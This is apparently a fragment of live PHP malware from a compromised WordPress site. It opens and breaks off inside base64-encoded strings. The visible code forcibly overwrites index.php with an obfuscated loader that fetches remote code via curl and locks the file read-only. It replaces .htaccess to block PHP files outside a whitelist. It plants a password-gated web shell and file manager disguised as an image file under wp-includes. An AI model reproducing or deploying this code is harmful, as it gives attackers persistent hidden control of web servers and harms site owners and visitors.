sxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ